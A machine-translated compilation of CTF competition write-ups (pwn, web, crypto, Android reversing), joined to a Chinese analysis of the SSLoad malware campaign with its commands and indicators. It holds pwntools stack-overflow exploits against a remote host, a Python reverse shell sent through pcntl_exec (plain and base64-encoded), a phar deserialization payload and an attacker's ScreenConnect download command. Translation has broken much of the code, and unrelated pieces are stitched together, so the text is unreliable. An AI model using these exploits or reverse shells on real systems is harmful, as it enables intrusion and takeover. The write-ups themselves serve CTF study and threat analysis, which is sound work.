One=libc+0xe3b01 P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one)) 一時停止() P.Sendlinefter(b'message: '、b' \ x00 '*0x10) p.Interactive() スタックオーバー も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。 frommpwnimport* #context.log_level='debug' #p=process( './stackover') p=remote(b'173.34.20.46 '、9999) p.sendafter(b'read: '、b'a'*0x29b) P.Recvuntil(b'a '*0x29b) canary=u32(b '\ x00'+p.recv(3)) 成功(f'canary: {hex(canary)} ') #一時停止() p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4))) P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4))) P.Recv(4) P.Recv(4) stack=u32(p.recv(4)) 成功(f'stack: {hex(stack)} ') #一時停止() p.sendafter(b'read: '、b'b'*(0x29b+0x18+7))) P.Recvuntil(b'b '*(0x29b+0x18+7)) libc=u32(p.recv(4))-0x1aed5 成功(f'libc: {hex(libc)} ') #一時停止() p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54)) P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54))) elf_base=u32(p.recv(4))-0x3fb8 成功(f'elf_base: {hex(elf_base)} ') ペイロード=b'c '*(0x29a-0x14-8) #execve0xc9510 #System0x41780 #puts0x6dc40 #ペイロード+=P32(libc+0x6dc40) #ペイロード+=P32(elf_base+0x1130) ペイロード+=b '/bin/sh \ x00' ペイロード+=P32(elf_base+0x128e) #ペイロード+=p32(elf_base+0x3fcc) #ペイロード+=p32(0) ペイロード+=P32(stack-0x50) ペイロード+=p32(0) #ペイロード+=P32(libc+0x18e363) #ペイロード+=P32(libc+0x18e363) ペイロード+=p32(0) ペイロード+=p32(0) ペイロード+=P32(カナリア) ペイロード+=p32(0)*3 ペイロード+=P32(stack-0x44) ペイロード+=P32(elf_base+0x3fb8) ペイロード+=b '/bin/sh \ x00' 一時停止() context.log_level='debug' p.sendafter(b'read: '、ペイロード) p.Interactive() stackover-revenge は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。 IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。
-
タイトル:2024 Digital China Innovation 4th Hongminggu CupサイバーセキュリティコンペティションWP
web ezphp タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。 テストポイント:PHPフィルターチェーンオラクル PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃 参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16 質問のソースコードは次のとおりです ?php highlight_file(__ file__); //flag.php if(isset($ _ post ['f'])){ echo hash_file( 'md5'、$ _post ['f']); } ? ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/ テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。 ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります ?php if(isset($ _ get ['ezphpphp8'])){ highlight_file(__ file__); } それ以外{ die( 'no'); } $ a=new class { function __construct() { } 関数getFlag() { System( 'cat /flag'); } }; Unset($ a); $ a=$ _get ['ezphpphp8']; $ f=new $ a(); $ f-getflag(); ? この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。 ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました コンテナをローカルに作成します。 Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE docker exec -itコンテナID /bin /bash flag.phpとテストコードを次のように配置します。 ?php if(isset($ _ get ['ezphpphp8'])){ //highlight_file(__ file__); } それ以外{ //die( 'no'); } $ anonymous=new class { function __construct() { } 関数getFlag() { System( 'cat /flag'); } }; $ a=get_class($ anonymous); echo urlencode($ a); echo '\ n'; Unset($ anonymous); //echo get_class($ a)。 ':今、あなたは私を見ます.'; $ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240'); $ f=new $ a(); $ f-getflag(); var_dump($ f); //新しい例外を投げる( //get_class($ anonymous)。今、あなたは\ 't!'をしないでください //e_user_error //); GetFlagメソッドを実行できることがわかります。 expを構築する: /flag.php?ezphpphp8=anonymous /flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1 /flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0 unauth ログインポートを起動します Webサイトパス/www.zipの管理者とのパスワードが漏れました: www.zip漏れたソースコードは次のとおりです。 ?php if(!isset($ _ server ['php_auth_user'])){ ヘッダー( 'www-authenticate: Basic Realm='制限領域''); ヘッダー( 'http/1.0 401承認'); Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 '; 出口; } それ以外{ $ validuser='admin'; $ validPass='2E525E29E465F45D8D7C56319FE73036'; if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){ ヘッダー( 'www-authenticate: Basic Realm='制限領域''); ヘッダー( 'http/1.0 401承認'); エコー「無効な資格情報」; 出口; } } @eval($ _ get ['cmd']); highlight_file(__ file__); ? 簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。 ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。 //パスパラメーター、リバウンドシェルを投稿します 1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);') 最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。 ! - ?php #MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合 #localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。 #修正について@digininjaに感謝します。 #使用するデータベース管理システム $ dbms='mysql'; #$ dbms='pgsql'; //現在無効になっています #データベース変数 #Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。 #DVWA専用のデータベースを使用してください。 # #mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。 #これの詳細については、readme.mdを参照してください。 $ _DVWA=array(); $ _DVWA ['db_server']='127.0.0.1'; $ _dvwa ['db_database']='dvwa'; $ _dvwa ['db_user']='root'; $ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165'; #PostgreSQL/PGSQLデータベースの選択でのみ使用。 $ _dvwa ['db_port']='5432'; #recaptcha設定 #「不安定なCaptcha」モジュールに使用されます #独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin $ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg'; $ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq'; #デフォルトのセキュリティレベル #各セッションのセキュリティレベルのデフォルト値。 #デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。 $ _DVWA ['Default_Security_Level']='Impossion'; #デフォルトのphpidsステータス #各セッションでPHPIDSステータス。 #デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。 $ _DVWA ['Default_Phpids_Level']='Disabled'; #verbose phpidsメッセージ #これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。 #デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。 $ _DVWA ['default_phpids_verbose']='false'; ? - パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります 得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0 host: xxx.com pragma: no-cache Cache-Control: No-Cache Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY= アップグレード-Insecure-Requests: 1 www-authenticate: Basic Realm='制限領域 user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7 Accept-Encoding: gzip、deflate Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7 cookie: phpsessid= Connection:閉じます 遊び場 RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます #[macro_use] extern crateロケット; STD:FSを使用します。 STD:FS:3360FILEを使用します。 STD:IO:3360WRITEを使用します。 STD:Process:Commandを使用します。 RAND:3360RNGを使用します。 #[得る('/')] fn index() - string { fs:read_to_string( 'main.rs')。unwrap_or(string:default())) } #[post( '/rust_code'、data='code')] fn run_rust_code(code: string) - string { code.contains( 'std'){ return 'error: stdは許可されていません'.to_string(); } //ランダムな5長さファイル名を生成します let file_name=rand:3360thread_rng() .sample_iter(rand:3360distributions:alphanumeric) .take(5) .map(char: -from) .COLLECT:STRING(); let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){ file.write_all(code.as_bytes()); } OK(build_output)=command:New( 'rustc')の場合 .arg(format!( 'playground/{}。rs'、file_name))) .arg( '-C') .arg( 'debuginfo=0') .arg( '-C') .arg( 'opt-level=3') .arg( '-o') .arg(format!( 'playground/{}'、file_name)) .output(){ if!build_output.status.success(){ FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name)); return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string(); } } FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name)); OK(output)=command:New(format!( 'playground/{}'、file_name))の場合 .output(){ if!output.status.success(){ FS:REMOVE_FILE(format!( 'playground/{}'、file_name)); return string:from_utf8_lossy(output.stderr.as_slice())。to_string(); } それ以外{ FS:REMOVE_FILE(format!( 'playground/{}'、file_name)); return string:from_utf8_lossy(output.stdout.as_slice())。to_string(); } } return string:default(); } #[打ち上げ] fn rocket() - _ { figment=rocket:config3360:figment() .merge(( 'address'、 '0.0.0.0')); Rocket:Custom(figment).Mount( '/'
-
標題:新的SSLoad 惡意軟件與劫持整個網絡域的工具相結合
FROZEN#SHADOW 被發現採用了一種新的攻擊活動,該活動利用SSLoad 惡意軟件進行操作,並利用Cobalt Strike Implants 來控制和接管整個網絡。 此外,威脅分子還使用ScreenConnect RMM 等遠程監控和管理軟件進行進一步控制。 SSLoad 是一種精心設計的惡意軟件,可以秘密滲透系統、收集敏感信息,並將收集到的信息洩露給惡意軟件操作者。 此外,該惡意軟件還利用多個後門和有效負載來逃避檢測並保持持久性。 技術分析這種新的攻擊活動從包含惡意鏈接的傳統網絡釣魚電子郵件開始。 當用戶訪問此鏈接時,它會將他們重定向到mmtixmm[.]org URL 到另一個下載站點,在該站點將JavaScript 文件下載到受害者計算機。如果手動執行此JavaScript 文件,它會執行多項操作,在受害者計算機上下載並執行更多有效負載。 這些網絡釣魚電子郵件活動的目標似乎是隨機的,因為受害者分佈在多個國家,包括亞洲、歐洲和美洲。 對惡意軟件的進一步調查表明,攻擊發生在以下不同階段: 马云惹不起马云第1 階段:初始執行– JavaScript 马云惹不起马云第2 階段:MSI 文件執行 马云惹不起马云第3 階段:惡意軟件執行 马云惹不起马云第4 階段:鈷擊執行 马云惹不起马云第5 階段:RMM 軟件和橫向移動 第1 階段:初始執行– JavaScript此初始階段涉及手動執行JavaScript 文件。通過分析JS 文件out_czlrh.js,發現它由97.6% 的註釋代碼組成,其中包含隨機字符以混淆文件。然而,刪除註釋代碼後會發現一段非常清晰的JS 代碼,沒有任何混淆。 具有多個註釋代碼的JS 文件代碼 在分析JS 代碼時,我們發現JS 文件執行多個操作,首先為WScript.Network 和Scripting.FileSystemObject 創建ActiveXObject 實例。 此後,包含“GetObject(“winmgmts:\\.\root\cimv2”)”的JS 代碼嘗試訪問WMI 對像以進行簡單的命令行操作。 從JS 代碼中刪除註釋後清理代碼 此外,代碼還設置變量來管理連接嘗試次數並收集網絡共享的連接狀態。 該腳本還將所有可用驅動器映射到位於\wireoneinternet[.]info@80\share\ 的網絡共享。 JS 代碼還通過WMI 執行“net use”命令以正確映射網絡驅動器。 成功完成所有這些步驟後,腳本將構造一個命令,使用msiexec.exe 從映射的網絡驅動器安裝MSI 包(slack.msi)。 第2 階段:MSI 執行此slack.msi 文件與TrickBot 惡意軟件團伙經常使用的BazarBackdoor 類似。該惡意軟件能夠過濾網絡並部署額外的有效負載。但是,執行此slack.msi 文件後,惡意軟件會與多個域進行通信。 马云惹不起马云wireoneinternet[.]info 马云惹不起马云skinnyjeanso[.]com 马云惹不起马云titnovacrion[.]top 马云惹不起马云Maramaravilha[.]com 马云惹不起马云globalsolutionunlimitedltd[.]com此外,只有在此之後,SSLoad 惡意軟件才會下載並執行。 SSLoad 的有效負載由一個半隨機命名的DLL 文件組成,該文件位於%APPDATA%\local\digistamp\mbae-api-na.dll 中。然而,該DLL 由Rundll32.exe 執行,之後DLL 將自身複製到%APPDATA%\Custom_update\。 第3 階段:惡意軟件執行除了前一階段之外,rundll32.exe 命令的執行還將開始與兩個預配置的C2 服務器通信,即hxxps://skinnyjeanso[.]com/live/和hxxps://titnovacrion[.]top/live/. Following this。此後,惡意軟件開始使用cmd.exe 命令收集本地主機的系統和用戶數據以及域相關信息。 马云惹不起马云exe/cipconfig/all 马云惹不起马云exe/csysteminfo 马云惹不起马云exe/cnltest/domain_trusts 马云惹不起马云exe/cnltest/domain_trusts/all_trusts 马云惹不起马云exe/cnetview/all/domain 马云惹不起马云exe/cnetview/all 马云惹不起马云exe/cnetgroup“domainadmins”/domain 马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list 马云惹不起马云exe/cnetconfigworkstation 马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductgetdisplayname|findstr/v/b/c:displayname||echonoantivirusinstalled 马云惹不起马云exe/cwhoami/groups然後,這些收集到的信息將通過HTTPS 連接發送到C2 服務器。一旦威脅分子從受感染的系統收到此信息,他們就會在確認該信息來自合法服務器而不是來自蜜罐後開始執行一些手動命令。威脅分子執行的手動命令如下: 马云惹不起马云exe-c“[console]:outputencoding=[console]:inputencoding=[system.text.encoding]:getencoding(‘utf-8’);cdc:\;powershell” 马云惹不起马云exe/groups 马云惹不起马云exegroup“domainadmins”/dom 马云惹不起马云exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list執行這些命令是為了操縱和探測服務器環境以進行下一階段的惡意軟件活動。 第4 階段:鈷打擊信標此階段的惡意軟件涉及在執行手動命令後在系統上部署Cobalt Strike 信標。一旦部署該信標,它就成為C2 的主要通信手段。但是,該信標將通過rundll32.exe 命令刪除並執行。 马云惹不起马云Rundll32.exeC:\ProgramData\msedge.dll,MONSSMRpgaTQssmrpgatq此外,威脅分子還使用Cobalt Strike 下載並安裝ScreenConnect RMM 軟件實例。 马云惹不起马云exe/cwhoami/groups 马云惹不起马云exe/cwmic/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list 马云惹不起马云exe/ciwr-uri“hxxps://t0talwar.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e=accessy=guestc=c=tjx-usa.comc=c=dcc=c=c=c=”-outfilec:\programdata\msedgeview.msi 马云惹不起马云exe/csysteminfo 马云惹不起马云exe/cmsiexec.exe/iC:\ProgramData\Msedgeview.msi/quiet/qn第5 階段:RMM 軟件和橫向移動每個受感染的系統均由ScreenConnect RMM 軟件控制,以保持對系統的完全控制。然而,在此之後,橫向移動將通過獲取憑證和其他關鍵系統詳細信息進行。環境的枚舉是使用多個PowerShell 命令完成的。 執行憑據提取後,他們還可以獲得域管理員帳戶NTLM 哈希。 IOCC2地址85.239.54[.]190 23.159.160[.]88 23.95.209[.]148 45.95.11[.]134 bjSdg0.pintaexoticfashion.co[.]in l1-03.winupdate.us[.]to 23-95-209-148-host.colocrossing[.]com:443 mmtixmm[.]org wireoneinternet[.]info skinnyjeanso[.]com titnovacrion[.]top simplyfitphilly[.]com kasnackamarch[.]info sokingscrosshotel[.]com danteshpk[.]com stratimasesstr[.]com winarkamaps[.]com globalsolutionunlimitedltd[.]com maramaravilha[.]com krd6[.]com hxxps://t0talwar.screenconnect[.]com
-
タイトル:四川省従業員職業スキルコンペティションネットワークセキュリティ最終WP
朝のCTFパート web simplelogin Yakitはパスワードを破裂させました。A123456であることを忘れないでください。 pppp index.phpには任意のファイルがあります: ?php //upload.php error_reporting(0); highlight_file(__ file__); クラスA { public $ a; パブリック関数__Destruct() { $ s=$ this- $ a; $ s(); } } クラスB { public $ cmd; function __invoke(){ $ this-start()を返します。 } function start(){ エコーシステム($ this-cmd); } } if(isset($ _ get ['file'])){ if(strstr($ _ get ['file']、 'flag')){ die( 'get out!'); } echo file_get_contents($ _ get ['file']); } ? upload.php:を読んでください ! - ?php error_reporting(0); if(isset($ _ files ['file'])){ mkdir( 'upload'); $ uid=uniqid(); $ ext=Explode( '。'、$ _ files ['file'] ['name']); $ ext=end($ ext); move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png '); echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png'; } - アップロードされたファイルは.pngに変更されます PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。 //phar.php ?php //phar.php classa { public $ a; publicFunction__Destruct() { $ s=$ this-a; $ s(); } } classb { public $ cmd; function__construct(){ $ this- $ cmd='catflag'; } function__invoke(){ $ this-start()を返します。 } functionstart(){ System($ this-cmd); } } $ b=newb(); $ b-cmd='cat/flag'; $ a=newa(); $ a-a=$ b; @unlink( 'phar.phar'); $ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません $ phar-startbuffering(); $ phar-setstub( '?php__halt_compiler();'); //Set Stub $ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します $ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します $ phar-stopbuffering(); //署名は自動的に計算されます ? アップロードとアクセス: Misc ftp トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。 crypto baby_words with Buddha AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます rushiwowen=[ '无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser' '未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、 「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、 「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、 'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、 「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 ' 'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、 'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen 'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」 「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、 'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、 'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、 「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、 「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、 'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 ' 「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、 enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は dec=b '' enc3360のiの場合 Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little') key=b'dasctf@key@^_^@encode !仏! ' iv=b'iv | dasctf | ovo | iv ' crypto.cipher Import AESから crypto.util.paddingインポートパッドから、unpad cryportor=aes.new(key、aes.mode_cbc、iv) #padded_data=pad(data.encode( 'utf-8')、aes.block_size) encrypted_data=cryptor.decrypt(dec) print(encrypted_data) re normalandroid JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。 キーのようなものを見て、キーを変換できます。 表面: 表面 次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。 したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした: fromcrypto.util.numberimportlong_to_bytes、bytes_to_long #https://github.com/bozhu/aes-python/blob/master/aes.py sbox=( 0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87 0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、 0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、 0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、 0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、 0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、 0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、 0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72 0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、 0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、 0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、 0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、 0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、 0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、 0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、 0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、 0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、 0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、 0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、 0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、 0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、 0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、 0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、 0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、 0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、 0xdc、0x4a、0x14、0x9a、0x5c、0x76 )) invsbox=[sbox.index(i)foriinrange(256)] #Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1) rcon=( 0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、 0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、 0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、 0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、 )) deftext2matrix(テキスト): Matrix=[] Foriinrange(16): byte=(text(8*(15-i)))0xff ifi%4==0: matrix.append([byte]) else: マトリックス[i //4] .append(byte) ReturnMatrix defmatrix2Text(Matrix): テキスト=0 Foriinrange(4): Forjinrange(4): テキスト|=(matrix [i] [j](120-8*(4*i+j))) returnText classaes: def__init __(self、master_key): self.change_key(master_key) defchange_key(self、master_key): self.round_keys=text2matrix(master_key) #self.round_keys Foriinrange(4,4*11): self.round_keys.append([]) ifi%4==0: byte=self.round_keys [i-4] [0] \ ^sbox [self.round_keys [i-1] [1]] \ ^rcon [i //4] self.round_keys [i] .append(byte) 